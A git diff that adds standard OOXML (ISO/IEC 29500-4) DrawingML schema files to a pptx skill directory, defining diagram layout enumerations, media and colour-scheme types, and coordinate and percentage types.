<xsd:enumeration value="none"/> + <xsd:enumeration value="equ"/> + <xsd:enumeration value="gte"/> + <xsd:enumeration value="lte"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ChildOrderType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="b"/> + <xsd:enumeration value="t"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConstraintType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="alignOff"/> + <xsd:enumeration value="begMarg"/> + <xsd:enumeration value="bendDist"/> + <xsd:enumeration value="begPad"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="bMarg"/> + <xsd:enumeration value="bOff"/> + <xsd:enumeration value="ctrX"/> + <xsd:enumeration value="ctrXOff"/> + <xsd:enumeration value="ctrY"/> + <xsd:enumeration value="ctrYOff"/> + <xsd:enumeration value="connDist"/> + <xsd:enumeration value="diam"/> + <xsd:enumeration value="endMarg"/> + <xsd:enumeration value="endPad"/> + <xsd:enumeration value="h"/> + <xsd:enumeration value="hArH"/> + <xsd:enumeration value="hOff"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="lMarg"/> + <xsd:enumeration value="lOff"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="rMarg"/> + <xsd:enumeration value="rOff"/> + <xsd:enumeration value="primFontSz"/> + <xsd:enumeration value="pyraAcctRatio"/> + <xsd:enumeration value="secFontSz"/> + <xsd:enumeration value="sibSp"/> + <xsd:enumeration value="secSibSp"/> + <xsd:enumeration value="sp"/> + <xsd:enumeration value="stemThick"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="tMarg"/> + <xsd:enumeration value="tOff"/> + <xsd:enumeration value="userA"/> + <xsd:enumeration value="userB"/> + <xsd:enumeration value="userC"/> + <xsd:enumeration value="userD"/> + <xsd:enumeration value="userE"/> + <xsd:enumeration value="userF"/> + <xsd:enumeration value="userG"/> + <xsd:enumeration value="userH"/> + <xsd:enumeration value="userI"/> + <xsd:enumeration value="userJ"/> + <xsd:enumeration value="userK"/> + <xsd:enumeration value="userL"/> + <xsd:enumeration value="userM"/> + <xsd:enumeration value="userN"/> + <xsd:enumeration value="userO"/> + <xsd:enumeration value="userP"/> + <xsd:enumeration value="userQ"/> + <xsd:enumeration value="userR"/> + <xsd:enumeration value="userS"/> + <xsd:enumeration value="userT"/> + <xsd:enumeration value="userU"/> + <xsd:enumeration value="userV"/> + <xsd:enumeration value="userW"/> + <xsd:enumeration value="userX"/> + <xsd:enumeration value="userY"/> + <xsd:enumeration value="userZ"/> + <xsd:enumeration value="w"/> + <xsd:enumeration value="wArH"/> + <xsd:enumeration value="wOff"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConstraintRelationship" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="self"/> + <xsd:enumeration value="ch"/> + <xsd:enumeration value="des"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ElementType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="all"/> + <xsd:enumeration value="doc"/> + <xsd:enumeration value="node"/> + <xsd:enumeration value="norm"/> + <xsd:enumeration value="nonNorm"/> + <xsd:enumeration value="asst"/> + <xsd:enumeration value="nonAsst"/> + <xsd:enumeration value="parTrans"/> + <xsd:enumeration value="pres"/> + <xsd:enumeration value="sibTrans"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ElementTypes"> + <xsd:list itemType="ST_ElementType"/> + </xsd:simpleType> + <xsd:simpleType name="ST_ParameterId" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="horzAlign"/> + <xsd:enumeration value="vertAlign"/> + <xsd:enumeration value="chDir"/> + <xsd:enumeration value="chAlign"/> + <xsd:enumeration value="secChAlign"/> + <xsd:enumeration value="linDir"/> + <xsd:enumeration value="secLinDir"/> + <xsd:enumeration value="stElem"/> + <xsd:enumeration value="bendPt"/> + <xsd:enumeration value="connRout"/> + <xsd:enumeration value="begSty"/> + <xsd:enumeration value="endSty"/> + <xsd:enumeration value="dim"/> + <xsd:enumeration value="rotPath"/> + <xsd:enumeration value="ctrShpMap"/> + <xsd:enumeration value="nodeHorzAlign"/> + <xsd:enumeration value="nodeVertAlign"/> + <xsd:enumeration value="fallback"/> + <xsd:enumeration value="txDir"/> + <xsd:enumeration value="pyraAcctPos"/> + <xsd:enumeration value="pyraAcctTxMar"/> + <xsd:enumeration value="txBlDir"/> + <xsd:enumeration value="txAnchorHorz"/> + <xsd:enumeration value="txAnchorVert"/> + <xsd:enumeration value="txAnchorHorzCh"/> + <xsd:enumeration value="txAnchorVertCh"/> + <xsd:enumeration value="parTxLTRAlign"/> + <xsd:enumeration value="parTxRTLAlign"/> + <xsd:enumeration value="shpTxLTRAlignCh"/> + <xsd:enumeration value="shpTxRTLAlignCh"/> + <xsd:enumeration value="autoTxRot"/> + <xsd:enumeration value="grDir"/> + <xsd:enumeration value="flowDir"/> + <xsd:enumeration value="contDir"/> + <xsd:enumeration value="bkpt"/> + <xsd:enumeration value="off"/> + <xsd:enumeration value="hierAlign"/> + <xsd:enumeration value="bkPtFixedVal"/> + <xsd:enumeration value="stBulletLvl"/> + <xsd:enumeration value="stAng"/> + <xsd:enumeration value="spanAng"/> + <xsd:enumeration value="ar"/> + <xsd:enumeration value="lnSpPar"/> + <xsd:enumeration value="lnSpAfParP"/> + <xsd:enumeration value="lnSpCh"/> + <xsd:enumeration value="lnSpAfChP"/> + <xsd:enumeration value="rtShortDist"/> + <xsd:enumeration value="alignTx"/> + <xsd:enumeration value="pyraLvlNode"/> + <xsd:enumeration value="pyraAcctBkgdNode"/> + <xsd:enumeration value="pyraAcctTxNode"/> + <xsd:enumeration value="srcNode"/> + <xsd:enumeration value="dstNode"/> + <xsd:enumeration value="begPts"/> + <xsd:enumeration value="endPts"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Ints"> + <xsd:list itemType="xsd:int"/> + </xsd:simpleType> + <xsd:simpleType name="ST_UnsignedInts"> + <xsd:list itemType="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Booleans"> + <xsd:list itemType="xsd:boolean"/> + </xsd:simpleType> + <xsd:simpleType name="ST_FunctionType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="cnt"/> + <xsd:enumeration value="pos"/> + <xsd:enumeration value="revPos"/> + <xsd:enumeration value="posEven"/> + <xsd:enumeration value="posOdd"/> + <xsd:enumeration value="var"/> + <xsd:enumeration value="depth"/> + <xsd:enumeration value="maxDepth"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FunctionOperator" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="equ"/> + <xsd:enumeration value="neq"/> + <xsd:enumeration value="gt"/> + <xsd:enumeration value="lt"/> + <xsd:enumeration value="gte"/> + <xsd:enumeration value="lte"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DiagramHorizontalAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="l"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_VerticalAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="mid"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ChildDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="horz"/> + <xsd:enumeration value="vert"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ChildAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_SecondaryChildAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LinearDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="fromL"/> + <xsd:enumeration value="fromR"/> + <xsd:enumeration value="fromT"/> + <xsd:enumeration value="fromB"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_SecondaryLinearDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="fromL"/> + <xsd:enumeration value="fromR"/> + <xsd:enumeration value="fromT"/> + <xsd:enumeration value="fromB"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_StartingElement" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="node"/> + <xsd:enumeration value="trans"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_RotationPath" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="alongPath"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CenterShapeMapping" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="fNode"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_BendPoint" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="beg"/> + <xsd:enumeration value="def"/> + <xsd:enumeration value="end"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConnectorRouting" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="stra"/> + <xsd:enumeration value="bend"/> + <xsd:enumeration value="curve"/> + <xsd:enumeration value="longCurve"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ArrowheadStyle" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="arr"/> + <xsd:enumeration value="noArr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConnectorDimension" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="1D"/> + <xsd:enumeration value="2D"/> + <xsd:enumeration value="cust"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConnectorPoint" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="bCtr"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="midL"/> + <xsd:enumeration value="midR"/> + <xsd:enumeration value="tCtr"/> + <xsd:enumeration value="bL"/> + <xsd:enumeration value="bR"/> + <xsd:enumeration value="tL"/> + <xsd:enumeration value="tR"/> + <xsd:enumeration value="radial"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_NodeHorizontalAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="l"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="r"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_NodeVerticalAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="mid"/> + <xsd:enumeration value="b"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FallbackDimension" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="1D"/> + <xsd:enumeration value="2D"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="fromT"/> + <xsd:enumeration value="fromB"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PyramidAccentPosition" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="bef"/> + <xsd:enumeration value="aft"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PyramidAccentTextMargin" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="step"/> + <xsd:enumeration value="stack"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextBlockDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="horz"/> + <xsd:enumeration value="vert"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextAnchorHorizontal" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="ctr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextAnchorVertical" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="mid"/> + <xsd:enumeration value="b"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DiagramTextAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="l"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="r"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AutoTextRotation" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="upr"/> + <xsd:enumeration value="grav"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_GrowDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="tL"/> + <xsd:enumeration value="tR"/> + <xsd:enumeration value="bL"/> + <xsd:enumeration value="bR"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FlowDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="row"/> + <xsd:enumeration value="col"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ContinueDirection" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="revDir"/> + <xsd:enumeration value="sameDir"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Breakpoint" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="endCnv"/> + <xsd:enumeration value="bal"/> + <xsd:enumeration value="fixed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Offset" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="off"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HierarchyAlignment" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="tL"/> + <xsd:enumeration value="tR"/> + <xsd:enumeration value="tCtrCh"/> + <xsd:enumeration value="tCtrDes"/> + <xsd:enumeration value="bL"/> + <xsd:enumeration value="bR"/> + <xsd:enumeration value="bCtrCh"/> + <xsd:enumeration value="bCtrDes"/> + <xsd:enumeration value="lT"/> + <xsd:enumeration value="lB"/> + <xsd:enumeration value="lCtrCh"/> + <xsd:enumeration value="lCtrDes"/> + <xsd:enumeration value="rT"/> + <xsd:enumeration value="rB"/> + <xsd:enumeration value="rCtrCh"/> + <xsd:enumeration value="rCtrDes"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FunctionValue" final="restriction"> + <xsd:union + memberTypes="xsd:int xsd:boolean ST_Direction ST_HierBranchStyle ST_AnimOneStr ST_AnimLvlStr ST_ResizeHandlesStr" + /> + </xsd:simpleType> + <xsd:simpleType name="ST_VariableType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="orgChart"/> + <xsd:enumeration value="chMax"/> + <xsd:enumeration value="chPref"/> + <xsd:enumeration value="bulEnabled"/> + <xsd:enumeration value="dir"/> + <xsd:enumeration value="hierBranch"/> + <xsd:enumeration value="animOne"/> + <xsd:enumeration value="animLvl"/> + <xsd:enumeration value="resizeHandles"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FunctionArgument" final="restriction"> + <xsd:union memberTypes="ST_VariableType"/> + </xsd:simpleType> + <xsd:simpleType name="ST_OutputShapeType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="conn"/> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd new file mode 100644 index 00000000..687eea82 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd @@ -0,0 +1,11 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + elementFormDefault="qualified" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:element name="lockedCanvas" type="a:CT_GvmlGroupShape"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd new file mode 100644 index 00000000..6ac81b06 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd @@ -0,0 +1,3081 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/main" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/main" + elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" + schemaLocation="dml-diagram.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart" + schemaLocation="dml-chart.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" + schemaLocation="dml-picture.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" + schemaLocation="dml-lockedCanvas.xsd"/> + <xsd:complexType name="CT_AudioFile"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:link" use="required"/> + <xsd:attribute name="contentType" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_VideoFile"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:link" use="required"/> + <xsd:attribute name="contentType" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_QuickTimeFile"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:link" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_AudioCDTime"> + <xsd:attribute name="track" type="xsd:unsignedByte" use="required"/> + <xsd:attribute name="time" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_AudioCD"> + <xsd:sequence> + <xsd:element name="st" type="CT_AudioCDTime" minOccurs="1" maxOccurs="1"/> + <xsd:element name="end" type="CT_AudioCDTime" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_Media"> + <xsd:choice> + <xsd:element name="audioCd" type="CT_AudioCD"/> + <xsd:element name="wavAudioFile" type="CT_EmbeddedWAVAudioFile"/> + <xsd:element name="audioFile" type="CT_AudioFile"/> + <xsd:element name="videoFile" type="CT_VideoFile"/> + <xsd:element name="quickTimeFile" type="CT_QuickTimeFile"/> + </xsd:choice> + </xsd:group> + <xsd:element name="videoFile" type="CT_VideoFile"/> + <xsd:simpleType name="ST_StyleMatrixColumnIndex"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_FontCollectionIndex"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="major"/> + <xsd:enumeration value="minor"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ColorSchemeIndex"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="dk1"/> + <xsd:enumeration value="lt1"/> + <xsd:enumeration value="dk2"/> + <xsd:enumeration value="lt2"/> + <xsd:enumeration value="accent1"/> + <xsd:enumeration value="accent2"/> + <xsd:enumeration value="accent3"/> + <xsd:enumeration value="accent4"/> + <xsd:enumeration value="accent5"/> + <xsd:enumeration value="accent6"/> + <xsd:enumeration value="hlink"/> + <xsd:enumeration value="folHlink"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ColorScheme"> + <xsd:sequence> + <xsd:element name="dk1" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lt1" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="dk2" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lt2" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="accent1" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="accent2" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="accent3" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="accent4" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="accent5" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="accent6" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hlink" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="folHlink" type="CT_Color" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_SupplementalFont"> + <xsd:attribute name="script" type="xsd:string" use="required"/> + <xsd:attribute name="typeface" type="ST_TextTypeface" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomColorList"> + <xsd:sequence> + <xsd:element name="custClr" type="CT_CustomColor" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FontCollection"> + <xsd:sequence> + <xsd:element name="latin" type="CT_TextFont" minOccurs="1" maxOccurs="1"/> + <xsd:element name="ea" type="CT_TextFont" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cs" type="CT_TextFont" minOccurs="1" maxOccurs="1"/> + <xsd:element name="font" type="CT_SupplementalFont" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EffectStyleItem"> + <xsd:sequence> + <xsd:group ref="EG_EffectProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="scene3d" type="CT_Scene3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sp3d" type="CT_Shape3D" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FontScheme"> + <xsd:sequence> + <xsd:element name="majorFont" type="CT_FontCollection" minOccurs="1" maxOccurs="1"/> + <xsd:element name="minorFont" type="CT_FontCollection" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FillStyleList"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="3" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_LineStyleList"> + <xsd:sequence> + <xsd:element name="ln" type="CT_LineProperties" minOccurs="3" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EffectStyleList"> + <xsd:sequence> + <xsd:element name="effectStyle" type="CT_EffectStyleItem" minOccurs="3" maxOccurs="unbounded" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BackgroundFillStyleList"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="3" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_StyleMatrix"> + <xsd:sequence> + <xsd:element name="fillStyleLst" type="CT_FillStyleList" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lnStyleLst" type="CT_LineStyleList" minOccurs="1" maxOccurs="1"/> + <xsd:element name="effectStyleLst" type="CT_EffectStyleList" minOccurs="1" maxOccurs="1"/> + <xsd:element name="bgFillStyleLst" type="CT_BackgroundFillStyleList" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_BaseStyles"> + <xsd:sequence> + <xsd:element name="clrScheme" type="CT_ColorScheme" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fontScheme" type="CT_FontScheme" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fmtScheme" type="CT_StyleMatrix" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OfficeArtExtension"> + <xsd:sequence> + <xsd:any processContents="lax" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="uri" type="xsd:token" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Coordinate"> + <xsd:union memberTypes="ST_CoordinateUnqualified s:ST_UniversalMeasure"/> + </xsd:simpleType> + <xsd:simpleType name="ST_CoordinateUnqualified"> + <xsd:restriction base="xsd:long"> + <xsd:minInclusive value="-27273042329600"/> + <xsd:maxInclusive value="27273042316900"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Coordinate32"> + <xsd:union memberTypes="ST_Coordinate32Unqualified s:ST_UniversalMeasure"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Coordinate32Unqualified"> + <xsd:restriction base="xsd:int"/> + </xsd:simpleType> + <xsd:simpleType name="ST_PositiveCoordinate"> + <xsd:restriction base="xsd:long"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="27273042316900"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PositiveCoordinate32"> + <xsd:restriction base="ST_Coordinate32Unqualified"> + <xsd:minInclusive value="0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Angle"> + <xsd:restriction base="xsd:int"/> + </xsd:simpleType> + <xsd:complexType name="CT_Angle"> + <xsd:attribute name="val" type="ST_Angle" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_FixedAngle"> + <xsd:restriction base="ST_Angle"> + <xsd:minExclusive value="-5400000"/> + <xsd:maxExclusive value="5400000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PositiveFixedAngle"> + <xsd:restriction base="ST_Angle"> + <xsd:minInclusive value="0"/> + <xsd:maxExclusive value="21600000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PositiveFixedAngle"> + <xsd:attribute name="val" type="ST_PositiveFixedAngle" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Percentage"> + <xsd:union memberTypes="ST_PercentageDecimal s:ST_Percentage"/> + </xsd:simpleType> + <xsd:simpleType name="ST_PercentageDecimal"> + <xsd:restriction base="xsd:int"/> + </xsd:simpleType> + <xsd:complexType name="CT_Percentage"> + <xsd:attribute name="val" type="ST_Percentage" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_PositivePercentage"> + <xsd:union memberTypes="ST_PositivePercentageDecimal s:ST_PositivePercentage"/> + </xsd:simpleType> + <xsd:simpleType name="ST_PositivePercentageDecimal"> + <xsd:restriction base="ST_PercentageDecimal"> + <xsd:minInclusive value="0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PositivePercentage"> + <xsd:attribute name="val" type="ST_PositivePercentage" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_FixedPercentage"> + <xsd:union memberTypes="ST_FixedPercentageDecimal s:ST_FixedPercentage"/> + 